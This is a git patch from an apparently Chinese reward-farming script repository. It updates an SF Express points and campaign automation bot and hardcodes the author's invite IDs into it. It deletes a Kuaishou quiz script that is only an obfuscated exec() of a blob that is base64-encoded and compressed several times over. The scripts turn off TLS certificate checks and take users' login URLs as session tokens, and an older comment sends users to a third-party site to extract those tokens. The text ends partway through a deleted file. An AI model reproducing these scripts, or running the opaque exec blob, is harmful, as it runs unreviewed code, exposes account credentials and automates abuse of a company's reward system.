From 1dcb55533a76f1e3ec7d64d13f9eb36800324565 Mon Sep 17 00:00:00 2001 From: XiaoGe-LiBai <2381919454@qq.com> Date: Thu, 20 Mar 2025 22:37:31 +0800 Subject: [PATCH] dme --- 顺丰.py => sf.py | 164 +-- 快手答题.py | 9 - 新顺丰速运.py | 1669 ----------------------------- 电信口令.py | 706 +++++++++++++ 电信豆豆.js | 2576 +++++++++++++++++++++++++++++++++++++++++++++ 电信金豆换话费.py | 515 +++++++++ 6 files changed, 3896 insertions(+), 1743 deletions(-) rename 顺丰.py => sf.py (94%) delete mode 100644 快手答题.py delete mode 100644 新顺丰速运.py create mode 100644 电信口令.py create mode 100644 电信豆豆.js create mode 100644 电信金豆换话费.py diff --git a/顺丰.py b/sf.py similarity index 94% rename from 顺丰.py rename to sf.py index fe7c75d..1983e0e 100644 --- a/顺丰.py +++ b/sf.py @@ -9,7 +9,6 @@ from datetime import datetime, timedelta from sys import exit import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning -from urllib.parse import unquote # 禁用安全请求警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) @@ -35,7 +34,7 @@ def Log(cont=''): send_msg += f'{cont}\n' -inviteId = [''] +inviteId = ['A959FF988C64448198CDEB08FC84844F','0A5BCEB5EA454B878C34EB01A33AF080'] class RUN: @@ -87,25 +86,17 @@ class RUN: result += char return result - def login(self, sfurl): - try: - # 对URL进行解码 - decoded_url = unquote(sfurl) - - ress = self.s.get(decoded_url, headers=self.headers) - # print(ress.text) - self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '') - self.phone = self.s.cookies.get_dict().get('_login_mobile_', '') - self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] if self.phone else '' - - if self.phone: - Log(f'用户:【{self.mobile}】登陆成功') - return True - else: - Log(f'获取用户信息失败') - return False - except Exception as e: - Log(f'登录异常: {str(e)}') + def login(self, sfsyUrl): + ress = self.s.get(sfsyUrl, headers=self.headers) + # print(ress.text) + self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '') + self.phone = self.s.cookies.get_dict().get('_login_mobile_', '') + self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] + if self.phone != '': + Log(f'用户:【{self.mobile}】登陆成功') + return True + else: + Log(f'获取用户信息失败') return False def getSign(self): @@ -410,13 +401,13 @@ class RUN: time.sleep(2) def EAR_END_2023_TaskList(self): - print('\n>>>>>>开始年终集卡任务') + print('\n>>>>>>开始32周年庆任务') # 任务列表 json_data = { - "activityCode": "YEAREND_2024", + "activityCode": "ANNIVERSARY_2025", "channelType": "MINI_PROGRAM" } - self.headers['channel'] = '24nzdb' + self.headers['channel'] = '32annixcx' self.headers['platform'] = 'MINI_PROGRAM' self.headers['syscode'] = 'MCS-MIMP-CORE' @@ -434,6 +425,9 @@ class RUN: continue if self.taskType == 'INTEGRAL_EXCHANGE': self.EAR_END_2023_ExchangeCard() + elif self.taskType == 'PLAY_ACTIVITY_GAME': + self.DRAGONBOAT_2024_index() + self.DRAGONBOAT_2024_Game_init() elif self.taskType == 'CLICK_MY_SETTING': self.taskCode = item["taskCode"] self.addDeliverPrefer() @@ -492,34 +486,31 @@ class RUN: print(f'>【{self.title}】任务-{response.get("errorMessage")}') def EAR_END_2023_ExchangeCard(self): - print(f'>>>开始积分兑换年卡') + print(f'>>>开始积分兑换找财神') json_data = { - "exchangeNum": 2, - "activityCode": "YEAREND_2024", - "channelType": "MINI_PROGRAM" + "activityCode": "ANNIVERSARY_2025", + "exchangeNum": 1 } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2024TaskService~integralExchange' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2025FiftyPercentService~getPopInfo' response = self.do_request(url, data=json_data) if response.get('success') == True: - receivedAccountList = response['obj']['receivedAccountList'] - for card in receivedAccountList: - print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') - else: - print(f'>【{self.title}】任务-{response.get("errorMessage")}') + print(f'>【{self.title}】任务-已完成') def EAR_END_2023_getAward(self): print(f'>>>开始抽卡') - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024WealthCardService~fortuneWealth' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2025ClaimService~claim' for l in range(10): for i in range(0, 3): - json_data = {} + json_data = { + "cardType": i + } response = self.do_request(url, data=json_data) # print(response) if response.get('success') == True: receivedAccountList = response['obj']['receivedAccountList'] for card in receivedAccountList: print(f'>获得:【{card["currency"]}】卡【{card["amount"]}】张!') - elif response.get('errorMessage') == '达到限流阈值,请稍后重试': + elif response.get('errorMessage') == '用户账户余额不足': break elif response.get('errorMessage') == '用户信息失效,请退出重新进入': break @@ -528,27 +519,66 @@ class RUN: break time.sleep(3) - def EAR_END_2023_GuessIdiom(self): - print(f'>>>开始猜成语') - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GuessIdiomService~win' - for i in range(1, 11): - json_data = { - "index": i - } - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print(f'第{i}关成功!') + # def EAR_END_2023_GuessIdiom(self): + # print(f'>>>开始猜成语') + # url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GuessIdiomService~win' + # for i in range(1, 11): + # json_data = { + # "index": i + # } + # response = self.do_request(url, data=json_data) + # if response.get('success') == True: + # print(f'第{i}关成功!') # receivedAccountList = response['obj']['receivedAccountList'] # for card in receivedAccountList: # print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') + # else: + # print(f'第{i}关失败!') + + #查询新年回馈卡片数量 + def EAR_END_2023_query(self): + print(f'>>>开始查询卡片数量') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2025ClaimService~claimStatus' + response = self.do_request(url, {}) + if response.get('success'): + obj = response.get('obj', None) + if obj == None: return False + currentAccountList = obj.get('currentAccountList', []) + if not currentAccountList: + print("当前没有卡片") else: - print(f'第{i}关失败!') + print("当前卡片数量:") + for card in currentAccountList: + currency = card.get('currency') + totalAmount = card.get('totalAmount') + balance = card.get('balance') + if currency == 'DAI_BI': + currency_name = '坐以待币' + elif currency == 'CHENG_GONG': + currency_name = '成功人士' + elif currency == 'GAN_FAN': + currency_name = '干饭圣体' + elif currency == 'DING_ZHU': + currency_name = '都顶得住' + elif currency == 'ZHI_SHUI': + currency_name = '心如止水' + else: + currency_name = currency + print(f"卡片名称:{currency_name},数量:{balance}") + + totalFortuneTimes = obj.get('totalFortuneTimes', 0) + print(f"总卡片数量:{totalFortuneTimes}") + + return True + else: + print(f"查询失败:{response.get('errorMessage')}") + return False def EAR_END_2023_receiveTask(self): print(f'>>>开始领取【{self.title}】任务奖励') json_data = { "taskType": self.taskType, - "activityCode": "YEAREND_2024", + "activityCode": "ANNIVERSARY_2025", "channelType": "MINI_PROGRAM" } url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2024TaskService~fetchMixTaskReward' @@ -1257,17 +1287,17 @@ class RUN: print(e) def DRAGONBOAT_2024_index(self): - print('====== 查询财神活动状态 ======') + print('====== 查询32周年庆活动状态 ======') invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) try: - self.headers['channel'] = '24nzdb' + self.headers['channel'] = '32annixcx' self.headers[ - 'referer'] = f'https://mcs-mimp-web.sf-express.com/origin/a/mimp-activity/yearEnd2024?mobile={self.mobile}&userId={self.user_id}&path=/origin/a/mimp-activity/yearEnd2024&supportShare=&inviteUserId={invite_user_id}&from=newExpressWX' + 'referer'] = f'https://mcs-mimp-web.sf-express.com/origin/a/mimp-activity/anniversary2025?mobile={self.mobile}&userId={self.user_id}&path=/origin/a/mimp-activity/anniversary2025&supportShare=&inviteUserId={invite_user_id}&from=newExpressWX' payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2024IndexService~index' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~anniversary2025IndexService~index' response = self.do_request(url, payload) - # print(response) + print(response) if response.get('success'): obj = response.get('obj', [{}]) acEndTime = obj.get('acEndTime', '') @@ -1590,7 +1620,7 @@ class RUN: if not self.login_res: return False # 执行签到任务 self.sign() - self.superWelfare_receiveRedPacket() +# self.superWelfare_receiveRedPacket() self.get_SignTaskList() self.get_SignTaskList(True) @@ -1601,14 +1631,14 @@ class RUN: self.honey_indexData(True) - if self.DRAGONBOAT_2024_index(): +# if self.DRAGONBOAT_2024_index(): #self.DRAGONBOAT_2024_weeklyGiftStatus() #self.DRAGONBOAT_2024_coinStatus() #self.DRAGONBOAT_2024_taskList() - self.DRAGONBOAT_2024_Game_init() +# self.DRAGONBOAT_2024_Game_init() #self.DRAGONBOAT_2024_coinStatus(True) - + # ####################################### # # # 获取当前季度结束日期 # # activity_end_date = get_quarter_end_date() @@ -1618,6 +1648,7 @@ class RUN: target_time = datetime(2025, 4, 8, 19, 0) if datetime.now() < target_time: self.EAR_END_2023_TaskList() + self.EAR_END_2023_query() #self.anniversary2024_task() else: print('周年庆活动已结束') @@ -1629,7 +1660,7 @@ class RUN: else: print('未到指定时间不执行会员日任务') - + self.sendMsg() return True @@ -1702,19 +1733,22 @@ if __name__ == '__main__': ENV_NAME = 'sfsyUrl' CK_NAME = 'url' print(f''' - 2025/1/4修复版,新增新年活动 - 扫码获取URL网站:sm.linzixuan.work,选择复制编码Token即可 - 格式:多账号用&分割 + ✨✨✨ TG频道:https://t.me/fxmbb ✨✨✨ + ✨✨✨ 更新时间2025.3.17✨✨✨ + 点击“积分”,以下几种url之一: + https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect + https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect + 多账号换行 变量名:sfsyUrl + ''') local_script_name = os.path.basename(__file__) - local_version = '2025.01.04' + local_version = '2024.06.02' token = os.getenv(ENV_NAME) - # 将分隔符从\n改为& tokens = token.split('\n') # print(tokens) if len(tokens) > 0: - print(f">>>>>>>>>>共获取到{len(tokens)}个账号<<<<<<<<<<") + print(f"\n>>>>>>>>>>共获取到{len(tokens)}个账号<<<<<<<<<<") for index, infos in enumerate(tokens): run_result = RUN(infos, index).main() if not run_result: continue \ No newline at end of file diff --git a/快手答题.py b/快手答题.py deleted file mode 100644 index f54709a..0000000 --- a/快手答题.py +++ /dev/null @@ -1,9 +0,0 @@ -''' -Powered By Beidu -Create at [2024-12-24 17:02] -ENV: ksdt_ck 多号@隔开,备注#ck(需要全部ck) - -''' - -import base64, zlib, lzma, bz2, gzip -exec((lambda TGqOeCyJ: compile(TGqOeCyJ, '', 'exec'))(zlib.decompress(lzma.decompress(bz2.decompress(gzip.decompress(base64.b64decode('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'))))).decode())) diff --git a/新顺丰速运.py b/新顺丰速运.py deleted file mode 100644 index d1cdcd6..0000000 --- a/新顺丰速运.py +++ /dev/null @@ -1,1669 +0,0 @@ -#2025/1/24 遍历生活特权所有分组的券进行领券,券没啥用但完成可领取30点丰蜜目前一天拉满155点。去除失效活动,支持蜜罐自动扩容 -#变量名:sfsyUrl -#格式:多账号用&分割或创建多个变量sfsyUrl -#关于参数获取如下两种方式: -#❶顺丰APP绑定微信后,前往该站点sm.linzixuan.work用微信扫码登录后,选择复制编码Token,不要复制错 -#或者 -#❷打开小程序或APP-我的-积分, 手动抓包以下几种URL之一 -#https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect -#https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect -#抓好URL后访问https://www.toolhelper.cn/EncodeDecode/Url进行编码,请务必按提示操作 -import hashlib -import json -import os -import random -import time -from datetime import datetime, timedelta -from sys import exit -import requests -from requests.packages.urllib3.exceptions import InsecureRequestWarning -from urllib.parse import unquote - -# 禁用安全请求警告 -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - -IS_DEV = False -if os.path.isfile('DEV_ENV.py'): - import DEV_ENV - - IS_DEV = True - - -#from notify import send - -send_msg = '' -one_msg = '' - - -def Log(cont=''): - global send_msg, one_msg - print(cont) - if cont: - one_msg += f'{cont}\n' - send_msg += f'{cont}\n' - - -inviteId = [''] - - -class RUN: - def __init__(self, info, index): - global one_msg - one_msg = '' - split_info = info.split('@') - url = split_info[0] - len_split_info = len(split_info) - last_info = split_info[len_split_info - 1] - self.send_UID = None - if len_split_info > 0 and "UID_" in last_info: - self.send_UID = last_info - self.index = index + 1 - print(f"\n{'='*20} 🔄 开始执行第{self.index}个账号 🔄 {'='*20}") - self.s = requests.session() - self.s.verify = False - self.headers = { - 'Host': 'mcs-mimp-web.sf-express.com', - 'upgrade-insecure-requests': '1', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue', - 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', - 'sec-fetch-site': 'none', - 'sec-fetch-mode': 'navigate', - 'sec-fetch-user': '?1', - 'sec-fetch-dest': 'document', - 'accept-language': 'zh-CN,zh', - 'platform': 'MINI_PROGRAM', - - } - self.anniversary_black = False - self.member_day_black = False - self.member_day_red_packet_drew_today = False - self.member_day_red_packet_map = {} - self.login_res = self.login(url) - self.today = datetime.now().strftime('%Y-%m-%d') - # self.answer = APP_INFO.get('ANSWER', []).get(self.today, False) - self.max_level = 8 - self.packet_threshold = 1 << (self.max_level - 1) - - def get_deviceId(self, characters='abcdef0123456789'): - result = '' - for char in 'xxxxxxxx-xxxx-xxxx': - if char == 'x': - result += random.choice(characters) - elif char == 'X': - result += random.choice(characters).upper() - else: - result += char - return result - - def login(self, sfurl): - try: - decoded_url = unquote(sfurl) - ress = self.s.get(decoded_url, headers=self.headers) - self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '') - self.phone = self.s.cookies.get_dict().get('_login_mobile_', '') - self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] if self.phone else '' - - if self.phone: - Log(f'👤 用户:【{self.mobile}】登陆成功') - return True - else: - Log(f'❌ 获取用户信息失败') - return False - except Exception as e: - Log(f'❌ 登录异常: {str(e)}') - return False - - def getSign(self): - timestamp = str(int(round(time.time() * 1000))) - token = 'wwesldfs29aniversaryvdld29' - sysCode = 'MCS-MIMP-CORE' - data = f'token={token}×tamp={timestamp}&sysCode={sysCode}' - signature = hashlib.md5(data.encode()).hexdigest() - data = { - 'sysCode': sysCode, - 'timestamp': timestamp, - 'signature': signature - } - self.headers.update(data) - return data - - def do_request(self, url, data={}, req_type='post'): - self.getSign() - try: - if req_type.lower() == 'get': - response = self.s.get(url, headers=self.headers) - elif req_type.lower() == 'post': - response = self.s.post(url, headers=self.headers, json=data) - else: - raise ValueError('Invalid req_type: %s' % req_type) - res = response.json() - return res - except requests.exceptions.RequestException as e: - print('Request failed:', e) - return None - except json.JSONDecodeError as e: - print('JSON decoding failed:', e) - return None - - def sign(self): - print(f'🎯 开始执行签到') - json_data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - count_day = response.get('obj', {}).get('countDay', 0) - if response.get('obj') and response['obj'].get('integralTaskSignPackageVOList'): - packet_name = response["obj"]["integralTaskSignPackageVOList"][0]["packetName"] - Log(f'✨ 签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天') - else: - Log(f'📝 今日已签到,本周累计签到【{count_day + 1}】天') - else: - print(f'❌ 签到失败!原因:{response.get("errorMessage")}') - - def superWelfare_receiveRedPacket(self): - print(f'🎁 超值福利签到') - json_data = { - 'channel': 'czflqdlhbxcx' - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberActLengthy~redPacketActivityService~superWelfare~receiveRedPacket' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - gift_list = response.get('obj', {}).get('giftList', []) - if response.get('obj', {}).get('extraGiftList', []): - gift_list.extend(response['obj']['extraGiftList']) - gift_names = ', '.join([gift['giftName'] for gift in gift_list]) - receive_status = response.get('obj', {}).get('receiveStatus') - status_message = '领取成功' if receive_status == 1 else '已领取过' - Log(f'🎉 超值福利签到[{status_message}]: {gift_names}') - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print(f'❌ 超值福利签到失败: {error_message}') - - def get_SignTaskList(self, END=False): - if not END: print(f'🎯 开始获取签到任务列表') - json_data = { - 'channelType': '1', - 'deviceId': self.get_deviceId(), - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES' - response = self.do_request(url, data=json_data) - if response.get('success') == True and response.get('obj') != []: - totalPoint = response["obj"]["totalPoint"] - if END: - Log(f'💰 当前积分:【{totalPoint}】') - return - Log(f'💰 执行前积分:【{totalPoint}】') - for task in response["obj"]["taskTitleLevels"]: - self.taskId = task["taskId"] - self.taskCode = task["taskCode"] - self.strategyId = task["strategyId"] - self.title = task["title"] - status = task["status"] - skip_title = ['用行业模板寄件下单', '去新增一个收件偏好', '参与积分活动'] - if status == 3: - print(f'✨ {self.title}-已完成') - continue - if self.title in skip_title: - print(f'⏭️ {self.title}-跳过') - continue - else: - # print("taskId:", taskId) - # print("taskCode:", taskCode) - # print("----------------------") - self.doTask() - time.sleep(3) - self.receiveTask() - - def doTask(self): - print(f'🎯 开始去完成【{self.title}】任务') - json_data = { - 'taskCode': self.taskCode, - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print(f'✨ 【{self.title}】任务-已完成') - else: - print(f'❌ 【{self.title}】任务-{response.get("errorMessage")}') - - def receiveTask(self): - print(f'🎁 开始领取【{self.title}】任务奖励') - json_data = { - "strategyId": self.strategyId, - "taskId": self.taskId, - "taskCode": self.taskCode, - "deviceId": self.get_deviceId() - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print(f'✨ 【{self.title}】任务奖励领取成功!') - else: - print(f'❌ 【{self.title}】任务-{response.get("errorMessage")}') - - def do_honeyTask(self): - # 做任务 - json_data = {"taskCode": self.taskCode} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print(f'>【{self.taskType}】任务-已完成') - else: - print(f'>【{self.taskType}】任务-{response.get("errorMessage")}') - - def receive_honeyTask(self): - print('>>>执行收取丰蜜任务') - # 收取 - self.headers['syscode'] = 'MCS-MIMP-CORE' - self.headers['channel'] = 'wxwdsj' - self.headers['accept'] = 'application/json, text/plain, */*' - self.headers['content-type'] = 'application/json;charset=UTF-8' - self.headers['platform'] = 'MINI_PROGRAM' - json_data = {"taskType": self.taskType} - # print(json_data) - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~receiveHoney' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print(f'收取任务【{self.taskType}】成功!') - else: - print(f'收取任务【{self.taskType}】失败!原因:{response.get("errorMessage")}') - - - def get_coupom(self, goods): - # 请求参数 - json_data = { - "from": "Point_Mall", - "orderSource": "POINT_MALL_EXCHANGE", - "goodsNo": goods['goodsNo'], - "quantity": 1, - "taskCode": self.taskCode - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder' - - # 发起领券请求 - response = self.do_request(url, data=json_data) - if response.get('success') == True: - # print(f'> 领券成功!') - return True # 领取成功 - else: - # print(f'> 领券失败!原因:{response.get("errorMessage")}') - return False # 领取失败 - - - def get_coupom_list(self): - # 请求参数 - json_data = { - "memGrade": 2, - "categoryCode": "SHTQ", - "showCode": "SHTQWNTJ" - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list' - - # 发起获取券列表请求 - response = self.do_request(url, data=json_data) - - if response.get('success') == True: - # 遍历所有分组的券列表 - all_goods = [] - for obj in response.get("obj", []): # 遍历所有券分组 - goods_list = obj.get("goodsList", []) - all_goods.extend(goods_list) # 收集到一个总列表中 - - # 尝试领取 - for goods in all_goods: - exchange_times_limit = goods.get('exchangeTimesLimit', 0) - - # 检查券是否可兑换 - if exchange_times_limit >= 1: - #print(f'尝试领取:{goods["goodsName"]}') - - # 尝试领取券 - if self.get_coupom(goods): - print('✨ 成功领取券,任务结束!') - return # 成功领取后退出 - print('📝 所有券尝试完成,没有可用的券或全部领取失败。') - else: - print(f'> 获取券列表失败!原因:{response.get("errorMessage")}') - - - - def get_honeyTaskListStart(self): - print('🍯 开始获取采蜜换大礼任务列表') - # 任务列表 - json_data = {} - self.headers['channel'] = 'wxwdsj' - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~taskDetail' - - response = self.do_request(url, data=json_data) - # print(response) - if response.get('success') == True: - for item in response["obj"]["list"]: - self.taskType = item["taskType"] - status = item["status"] - if status == 3: - print(f'✨ 【{self.taskType}】-已完成') - continue - if "taskCode" in item: - self.taskCode = item["taskCode"] - if self.taskType == 'DAILY_VIP_TASK_TYPE': - self.get_coupom_list() - else: - self.do_honeyTask() - if self.taskType == 'BEES_GAME_TASK_TYPE': - self.honey_damaoxian() - time.sleep(2) - - def honey_damaoxian(self): - print('>>>执行大冒险任务') - # 大冒险 - gameNum = 5 - for i in range(1, gameNum): - json_data = { - 'gatherHoney': 20, - } 